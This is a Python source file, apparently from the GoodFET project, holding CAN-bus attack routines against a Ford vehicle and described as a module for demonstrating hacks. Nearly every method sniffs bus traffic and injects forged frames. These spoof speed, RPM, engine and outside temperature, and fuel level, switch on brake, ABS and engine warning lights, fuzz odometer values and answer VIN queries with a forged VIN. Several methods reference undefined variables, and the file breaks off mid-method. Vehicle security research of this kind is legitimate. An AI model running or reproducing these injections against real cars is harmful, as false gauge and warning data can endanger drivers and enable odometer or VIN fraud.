Added initial support for board=apimote2
[goodfet] / client / FordExperiments.py
1 import sys;
2 import binascii;
3 import array;
4 import csv, time, argparse;
5 import datetime
6 import os
7 import random
8 from random import randrange
9 from GoodFETMCPCAN import GoodFETMCPCAN;
10 from experiments import experiments
11 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
12 from intelhex import IntelHex;
13 import Queue
14 import math
15 import wave
16
17 tT = time
18 class FordExperiments(experiments):
19     """
20     This class is a subclass of experiments and is a car specific module for 
21     demonstrating and testing hacks. 
22     """
23     def __init__(self, dataLocation = "../../contrib/ThayerData/"):
24         GoodFETMCPCANCommunication.__init__(self, dataLocation)
25         #super(FordExperiments,self).__init__(self) #initialize chip
26         self.freq = 500;
27
28     def mimic1056(self,packetData,runTime):
29         #setup chip
30         self.client.serInit()
31         self.spitSetup(self.freq)
32         #FIGURE out how to clear buffers
33         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
34         packet1 = self.client.rxpacket();
35         if(packet1 != None):
36             packetParsed = self.client.packet2parsed(packet1);
37         #keep sniffing till we read a packet
38         while( packet1 == None or packetParsed.get('sID') != 1056 ):
39             packet1 = self.client.rxpacket()
40             if(packet1 != None):
41                 packetParsed = self.client.packet2parsed(packet1)
42         recieveTime = time.time()
43         packetParsed = self.client.packet2parsed(packet1)
44         if( packetParsed['sID'] != 1056):
45             print "Sniffed wrong packet"
46             return
47         countInitial = ord(packetParsed['db3']) #initial count value
48         packet = []
49         #set data packet to match what was sniffed or at least what was input
50         for i in range(0,8):
51             idx = "db%d"%i
52             if(packetData.get(idx) == None):
53                 packet.append(ord(packetParsed.get(idx)))
54             else:
55                 packet.append(packetData.get(idx))
56         print packet
57         #### split SID into different regs
58         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
59         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
60         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
61                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
62                   # lower nibble is DLC                   
63                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
64         packetCount = 1;
65         self.client.txpacket(packet);
66         tpast = time.time()
67         while( (time.time()-recieveTime) < runTime):
68             #care about db3 or packet[8] that we want to count at the rate that it is
69             dT = time.time()-tpast
70             if( dT/0.2 >= 1):
71                 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
72                 packet[8] = db3
73                 self.client.txpacket(packet)
74                 packetCount += 1
75             else:
76                 packetCount += 1
77                 self.client.MCPrts(TXB0=True)
78             tpast = time.time()  #update our transmit time on the one before   
79             
80                 
81          
82     def cycledb1_1056(self,runTime):
83         #setup chip
84         self.client.serInit()
85         self.spitSetup(500)
86         #FIGURE out how to clear buffers
87         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
88         packet1 = self.client.rxpacket();
89         if(packet1 != None):
90             packetParsed = self.client.packet2parsed(packet1);
91         #keep sniffing till we read a packet
92         while( packet1 == None or packetParsed.get('sID') != 1056 ):
93             time.sleep(.1)
94             packet1 = self.client.rxpacket()
95             if(packet1 != None):
96                 packetParsed = self.client.packet2parsed(packet1)
97         recieveTime = time.time()
98         packetParsed = self.client.packet2parsed(packet1)
99         if( packetParsed['sID'] != 1056):
100             print "Sniffed wrong packet"
101             return
102         packet = []
103         #set data packet to match what was sniffed or at least what was input
104         for i in range(0,8):
105             idx = "db%d"%i
106             packet.append(ord(packetParsed.get(idx)))
107         packetValue = 0
108         packet[1] = packetValue;
109         
110         print packet
111         #### split SID into different regs
112         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
113         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
114         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
115                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
116                   # lower nibble is DLC                   
117                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
118         packetCount = 1;
119         self.client.txpacket(packet);
120         tpast = time.time()
121         while( (time.time()-recieveTime) < runTime):
122             #care about db3 or packet[8] that we want to count at the rate that it is
123             dT = time.time()-tpast
124             packetValue += 10
125             pV = packetValue%255
126             #temp = ((packetValue+1))%2
127             #if( temp == 1):
128             #    pV = packetValue%255
129             #else:
130             #    pV = 0
131             packet[6] = pV
132             #packet[6] = 1
133             print packet
134             self.client.txpacket(packet)
135             packetCount += 1
136             tpast = time.time()  #update our transmit time on the one before   
137         print packetCount;
138         
139     def getBackground(self,sId):
140         """
141         This method gets the background packets for the given id. This
142         is a simple "background" retriever in that it returns the packet
143         that is of the given id that was sniffed off the bus.
144         """
145         self.client.serInit()
146         self.spitSetup(500)
147         self.addFilter([sId,sId,sId,sId,sId,sId])
148         packet1 = self.client.rxpacket();
149         if(packet1 != None):
150             packetParsed = self.client.packet2parsed(packet1);
151         #keep sniffing till we read a packet
152         startTime = time.time()
153         while( (packet1 == None or packetParsed.get('sID') != sId) and (time.time() - startTime) < 5):
154             packet1 = self.client.rxpacket()
155             print packet1
156             if(packet1 != None):
157                 packetParsed = self.client.packet2parsed(packet1)
158         if( packet1 == None or packetParsed.get('sID') != sId):
159             print "exiting without packet"
160         #print "returning", packetParsed
161         #recieveTime = time.time()
162         return packetParsed
163
164     def cycle4packets1279(self):
165         self.client.serInit()
166         self.spitSetup(500)
167         # filter on 1279
168         self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
169         packetParsed = self.getBackground(1279)
170         packet = []
171         if (packetParsed[db0] == 16):
172             # if it's the first of the four packets, replace the value in db7  with 83
173             packetParsed[db7] = 83
174             # transmit new packet
175             self.client.txpacket(packetParsed)
176         else:
177         # otherwise, leave it alone
178             # transmit same pakcet we read in
179             self.client.txpacket(packetParsed)
180         # print the packet we are transmitting
181         print packetParsed
182         
183     def oscillateMPH(self,runTime):
184         self.client.serInit()
185         self.spitSetup(500)
186         #FIGURE out how to clear buffers
187         self.addFilter([513, 513, 513, 513,513, 513], verbose=False)
188         packetParsed = self.getBackground(513)
189         packet = []
190         #set data packet to match what was sniffed or at least what was input
191         for i in range(0,8):
192             idx = "db%d"%i
193             packet.append(packetParsed.get(idx))
194         packetValue = 0
195         packet[1] = packetValue;
196         
197         print packet
198         #### split SID into different regs
199         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
200         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
201         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
202                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
203                   # lower nibble is DLC                   
204                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
205         packetCount = 1;
206         self.client.txpacket(packet);
207         startTime = tT.time()
208         while( (tT.time()-startTime) < runTime):
209             dt = tT.time()-startTime
210             inputValue = ((2.0*math.pi)/20.0)*dt
211             value =         35*math.sin(inputValue)+70
212             print value
213             #if( value%4 == 0):
214             #    packet[5] = 95
215             #else:
216             #    packet[5] = 0
217             #packet[9] = int(value)
218             packet[5] = int(value)
219             print packet
220             self.client.txpacket(packet)
221             packetCount += 1
222     def oscillateTemperature(self,runTime):
223         """
224         
225         
226         """
227         #setup chip
228         self.client.serInit()
229         self.spitSetup(500)
230         #FIGURE out how to clear buffers
231         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
232         packetParsed = self.getBackground(1056)
233         packet = []
234         #set data packet to match what was sniffed or at least what was input
235         for i in range(0,8):
236             idx = "db%d"%i
237             packet.append(packetParsed.get(idx))
238         packetValue = 0
239         packet[1] = packetValue;
240         
241         print packet
242         #### split SID into different regs
243         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
244         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
245         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
246                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
247                   # lower nibble is DLC                   
248                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
249         packetCount = 1;
250         self.client.txpacket(packet);
251         startTime = tT.time()
252         while( (tT.time()-startTime) < runTime):
253             dt = tT.time()-startTime
254             inputValue = ((2.0*math.pi)/20.0)*dt
255             value = 30*math.sin(inputValue)+130
256             print value
257             #packet[5] = int(value)
258             if( value > 130 ):
259                 packet[5] = 160
260             else:
261                 packet[5] = 100
262             #packet[6] = 1
263             print packet
264             self.client.txpacket(packet)
265             packetCount += 1
266             #tpast = time.time()  #update our transmit time on the one before   
267         print packetCount;
268         
269         
270     def fakeVIN(self):
271        #reset eveything on the chip
272        self.client.serInit() 
273        self.reset()
274        duration = 20; #seconds 
275        
276        listenID = 2015
277        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
278        responseID = 2024
279        #actual response by the car
280        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
281        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
282        #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
283        
284        r1 = [34, 88, 0, 0, 0, 0, 0, 0]
285        r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
286        r3 = [16, 19, 73, 160, 159, 70, 65, 66]
287        
288        #format
289        SIDlow = (responseID & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
290        SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
291        packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
292                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
293                   # lower nibble is DLC                   
294                  r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
295        packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
296               0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
297                   # lower nibble is DLC                   
298                  r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
299        packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
300                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
301                   # lower nibble is DLC                   
302                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
303
304        self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
305
306        #filter for the correct packet
307        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
308        self.client.rxpacket()
309        self.client.rxpacket() # flush buffers if there is anything
310        startTime = tT.time()
311        while( (tT.time() -startTime) < duration):
312            packet = self.client.rxpacket()
313            if( packet != None):
314                sid =  ord(packet[0])<<3 | ord(packet[1])>>5
315                if( sid == listenID):
316                    byte3 = ord(packet[6])
317                    if( byte3 == listenPacket[3]):
318                        print "SendingPackets!"
319                        #send packets
320                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
321                        
322     def setScanToolTemp(self,temp):
323         self.client.serInit()
324         self.spitSetup(500)
325
326         self.addFilter([2024, 2024, 2024])
327         self.client.rxpacket()
328         self.client.rxpacket()
329         self.client.rxpacket()
330         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
331         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
332               
333         startTime = time.time()  
334         #while((time.time() - startTime) < 10):
335             
336         packet = None;
337
338         # catch a packet and check its db4 value
339         while (packet == None):
340             packet=self.client.rxpacket();
341
342         
343         newTemp = math.ceil(level/1.8 + 22)
344         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
345
346             
347         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
348                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
349                        # lower nibble is DLC                   
350                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
351
352         # load new packet into TXB0 and check time
353         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
354         starttime = time.time()
355         
356         # spit new value for 1 second
357         while (time.time()-starttime < 10):
358             self.multiPacketSpit(packet0rts=True)
359        
360     def setEngineTemp(self,temp):
361         self.client.serInit()
362         self.spitSetup(500)
363
364         self.addFilter([1056, 1056, 1056,1056,1056,1056])
365         self.client.rxpacket()
366         self.client.rxpacket()
367         self.client.rxpacket()
368         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
369         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
370               
371         startTime = time.time()  
372         #while((time.time() - startTime) < 10):
373             
374         packet = None;
375
376         # catch a packet and check its db4 value
377         while (packet == None):
378             packet=self.client.rxpacket();
379
380         
381         newTemp = int(math.ceil(level/1.8 + 22))
382         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
383
384             
385         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
386                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
387                        # lower nibble is DLC                   
388                        newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
389
390         # load new packet into TXB0 and check time
391         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
392         starttime = time.time()
393         
394         # spit new value for 1 second
395         while (time.time()-starttime < 10):
396             self.multiPacketSpit(packet0rts=True)
397                     
398     def overHeatEngine(self):
399         self.client.serInit()
400         self.spitSetup(500)
401
402         self.addFilter([1056, 1056, 1056])
403         packet = self.getBackground(1056)
404         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
405         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
406     
407         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
408                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
409                        # lower nibble is DLC                   
410                        0xfa,packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
411         startTime = time.time()
412         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
413         while( time.time()- startTime < 10):
414             self.multiPacketSpit(packet0rts=True)
415             
416     def runOdometer(self):
417         self.client.serInit()
418         self.spitSetup(500)
419
420         self.addFilter([1056, 1056, 1056])
421         packet = self.getBackground(1056)
422         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
423         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
424         odomFuzz = random.randint(1,254)
425         print packet
426         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
427                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
428                        # lower nibble is DLC                   
429                        packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
430         
431         startTime = time.time()
432         packet[6] = odomFuzz;
433         while( time.time()- startTime < 10):
434             odomFuzz = random.randint(1,254)
435             newPacket[6] = odomFuzz
436             self.client.txpacket(newPacket)
437         
438     def setDashboardTemp(self, temp):
439         self.client.serInit()
440         self.spitSetup(500)
441
442         self.addFilter([1056, 1056, 1056])
443         self.client.rxpacket()
444         self.client.rxpacket()
445         self.client.rxpacket()
446         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
447         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
448               
449         startTime = time.time()  
450         #while((time.time() - startTime) < 10):
451             
452         packet = None;
453
454         # catch a packet and check its db4 value
455         while (packet == None):
456             packet=self.client.rxpacket();
457
458         
459         newTemp = math.ceil(level/1.8 + 22)
460         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
461
462             
463         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
464                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
465                        # lower nibble is DLC                   
466                        newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
467
468         # load new packet into TXB0 and check time
469         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
470         starttime = time.time()
471         
472         # spit new value for 1 second
473         while (time.time()-starttime < 10):
474             self.multiPacketSpit(packet0rts=True)
475
476       
477     def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight, dashB):                 
478         
479         if( checkBreakSystem == 1 or ABSLight == 1):
480             SIDlow = (530 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
481             SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
482             print "looking for 530"
483             packet = self.getBackground(530)
484             print "found"
485             packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
486                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
487                        # lower nibble is DLC                   
488                        packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
489             if( checkBreakSystem == 1 and ABSLight == 1):
490                 packet2[9] = 97
491             elif( checkBreakSystem == 0 and ABSLight == 1):
492                 packet2[9] = 16
493             elif(checkBreakSystem==1 and ABSLight == 0):
494                 packet2[9] = 64
495             packet2rts = True
496         else:
497             packet2rts = False
498             packet2 = None
499         print packet2
500         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
501         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
502         print "looking for 1056"
503         packet = self.getBackground(1056)
504         print "found"
505         packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
506                    0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
507                    # lower nibble is DLC                   
508                    packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']] 
509         if( checkEngine == 1):
510             packet1[9] += 2;
511             print packet1
512         if( checkTransmission == 1):
513             packet1[9] += 3;
514             print packet1
515         if( transmissionOverheated == 1):
516             packet1[9] += 4
517             print packet1
518         if( engineLight == 1):
519             packet1[9] += 64
520             print packet1
521         if( fuelCap == 1):
522             packet1[10] = 255
523             print packet1
524         if( battery == 1):
525             packet1[7] = 33
526             print packet1
527         if( dashB == 1):
528             packet1[6] = 255
529         print "hello"
530         self.client.serInit()
531         self.spitSetup(500)
532         # load new packet into TXB0 and check time
533         self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
534         starttime = time.time()
535         print "starting"
536         # spit new value for 1 second
537         while ((time.time()-starttime) < 10):
538             self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
539     
540     def fakeScanToolFuelLevel(self,level):
541         self.client.serInit()
542         self.spitSetup(500)
543
544         self.addFilter([2024, 2024, 2024])
545         self.client.rxpacket()
546         self.client.rxpacket()
547         self.client.rxpacket()
548         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
549         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
550               
551         startTime = time.time()  
552         #while((time.time() - startTime) < 10):
553             
554         packet = None;
555
556         # catch a packet and check its db4 value
557         while (packet == None):
558             packet=self.client.rxpacket();
559
560         level = int(level/.4)
561         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
562
563             
564         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
565                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
566                        # lower nibble is DLC                   
567                        3,65,47,level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
568
569         # load new packet into TXB0 and check time
570         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
571         starttime = time.time()
572         
573         # spit new value for 1 second
574         while (time.time()-starttime < 10):
575             self.multiPacketSpit(packet0rts=True)
576             
577     def fakeOutsideTemp(self,level):
578         self.client.serInit()
579         self.spitSetup(500)
580
581         self.addFilter([2024, 2024, 2024,2024,2024,2024])
582         self.client.rxpacket()
583         self.client.rxpacket()
584         self.client.rxpacket()
585         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
586         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
587               
588         startTime = time.time()  
589         #while((time.time() - startTime) < 10):
590             
591         packet = None;
592
593         # catch a packet and check its db4 value
594         while (packet == None):
595             packet=self.client.rxpacket();
596         
597         newTemp = int(math.ceil(level/1.8 + 22))
598         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
599         print newTemp
600         
601         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
602                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
603                        # lower nibble is DLC                   
604                        03,65,70,newTemp,0,0,0,0]
605
606         # load new packet into TXB0 and check time
607         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
608         starttime = time.time()
609         print newPacket
610         # spit new value for 1 second
611         while (time.time()-starttime < 10):
612             self.multiPacketSpit(packet0rts=True)
613
614     
615     def fakeAbsTps(self,level):
616         self.client.serInit()
617         self.spitSetup(500)
618
619         self.addFilter([2024, 2024, 2024])
620         self.client.rxpacket()
621         self.client.rxpacket()
622         self.client.rxpacket()
623         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
624         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
625               
626         startTime = time.time()  
627         #while((time.time() - startTime) < 10):
628             
629         packet = None;
630
631         # catch a packet and check its db4 value
632         while (packet == None):
633             packet=self.client.rxpacket();
634
635         abstps = int(math.ceil(level/.39))
636
637
638             
639         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
640                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
641                        # lower nibble is DLC                   
642                        ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
643
644         # load new packet into TXB0 and check time
645         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
646         starttime = time.time()
647         
648         # spit new value for 1 second
649         while (time.time()-starttime < 10):
650             self.multiPacketSpit(packet0rts=True)
651
652
653                        
654     def mphToByteValue(self, mph):
655         return ( mph + 63.5 ) / 1.617
656
657     def ByteValuToMph(self, value):
658         return 1.617*ord(packet[9]) - 63.5
659
660     def setMPH(self, mph):
661         self.client.serInit()
662         self.spitSetup(500)
663
664         self.addFilter([513, 513, 513])
665         self.client.rxpacket()
666         self.client.rxpacket()
667         self.client.rxpacket()
668         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
669         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
670         
671         SID2 = (1056 & 0x07) << 5;
672         SID2high = (1056 >>3) & 0xFF;
673         packet_odometer = [SID2high, SID2, 0 ,0,8, 65, 0, 32, 120, 0, 0, 1, 247]
674         
675         startTime = time.time()  
676         #while((time.time() - startTime) < 10):
677             
678         packet = None;
679
680         # catch a packet and check its db4 value
681         while (packet == None):
682             packet=self.client.rxpacket();
683         
684         #print self.client.packet2str(packet)
685
686         #print "DB4 = %02d " %ord(packet[9])
687        
688         #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
689             
690         # calculate our new mph and db4 value
691         
692         newSpeed = self.mphToByteValue(mph)
693         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
694
695             
696         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
697                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
698                        # lower nibble is DLC                   
699                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
700
701         # load new packet into TXB0 and check time
702         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
703         starttime = time.time()
704         
705         # spit new value for 1 second
706         while (time.time()-starttime < 10):
707             #self.multiPacketSpit(packet0rts=True)
708             odomFuzz = random.randint(1,254)
709             packet_odometer[6] = odomFuzz
710             self.multiPacketSpit(packet0=newPacket, packet1 =packet_odometer,packet0rts = True, packet1rts=True)
711
712     def speedometerHack(self, inputs):
713         
714         self.client.serInit()
715         self.spitSetup(500)
716
717         self.addFilter([513, 513, 513])
718         
719         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
720         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
721                 
722        #while(1):
723             
724         packet = None;
725
726         # catch a packet and check its db4 value
727         while (packet == None):
728             packet=self.client.rxpacket();
729         
730         print self.client.packet2str(packet)
731
732         print "DB4 = %02d " %ord(packet[9])
733         mph = 1.617*ord(packet[9]) - 63.5
734         print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
735             
736         # calculate our new mph and db4 value
737         mph = mph + inputs[0];
738         newSpeed = ( mph + 63.5 ) / 1.617
739         print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
740
741             
742         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
743                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
744                        # lower nibble is DLC                   
745                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
746
747         # load new packet into TXB0 and check time
748         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
749         starttime = time.time()
750         
751         # spit new value for 1 second
752         while (time.time()-starttime < 1):
753             
754             self.multiPacketSpit(packet0rts=True)
755                 
756     def rpmToByteValue(self, rpm):
757         value = ( rpm + 61.88 ) / 64.5
758         return int(value)
759     
760     def ValueTorpm(self, value):
761         rpm = 64.5*value - 61.88
762         return rpm
763     
764     def setRPM(self, rpm):
765         self.client.serInit()
766         self.spitSetup(500)
767     
768         self.addFilter([513, 513, 513,513])
769     
770         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
771         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
772         
773         #clear buffers
774         self.client.rxpacket()
775         self.client.rxpacket()
776         self.client.rxpacket()
777
778         startTime = tT.time()
779         while((tT.time() - startTime )< 10):
780         
781             packet = None;
782         
783             # catch a packet and check its db4 value
784             while (packet == None):
785                 packet=self.client.rxpacket();
786         
787             #print self.client.packet2str(packet)
788         
789             #print "DB4 = %02d " %ord(packet[5])
790            
791             #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
792         
793             newRPM = self.rpmToByteValue(rpm)
794             #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
795             
796         
797             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
798                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
799                      # lower nibble is DLC                   
800                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
801         
802             # load new packet into TXB0 and check time
803             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
804             starttime = time.time()
805         
806             # spit new value for 1 second
807             while (time.time()-starttime < 1):
808                 self.multiPacketSpit(packet0rts=True)
809
810     def rpmHack(self, inputs):
811         """
812         This method will increase the rpm by the given rpm amount.
813         
814         @type inputs: List
815         @param inputs: Single element of a list that corresponds to the amount the user
816                        wishses to 
817         """
818     
819         self.client.serInit()
820         self.spitSetup(500)
821     
822         self.addFilter([513, 513, 513])
823     
824         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
825         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
826         startTime = tT.time()
827         while((tT.time() - startTime )< 10):
828         
829             packet = None;
830         
831             # catch a packet and check its db4 value
832             while (packet == None):
833                 packet=self.client.rxpacket();
834         
835             print self.client.packet2str(packet)
836         
837             print "DB4 = %02d " %ord(packet[5])
838             rpm = 64.5*ord(packet[5]) - 61.88
839             print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
840         
841             # calculate our new mph and db4 value
842             rpm = rpm + inputs[0];
843             newRPM = ( rpm + 61.88 ) / 64.5
844             newRPM = int(newRPM)
845             print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
846             
847         
848             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
849                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
850                      # lower nibble is DLC                   
851                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
852         
853             # load new packet into TXB0 and check time
854             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
855             starttime = time.time()
856         
857             # spit new value for 1 second
858             while (time.time()-starttime < 1):
859                 self.multiPacketSpit(packet0rts=True)
860
861     def imbeethovenbitch(self):
862         
863         
864         ### USUAL SETUP STUFF  ######
865         self.client.serInit()
866         self.spitSetup(500)
867         self.addFilter([513, 513, 513,513])
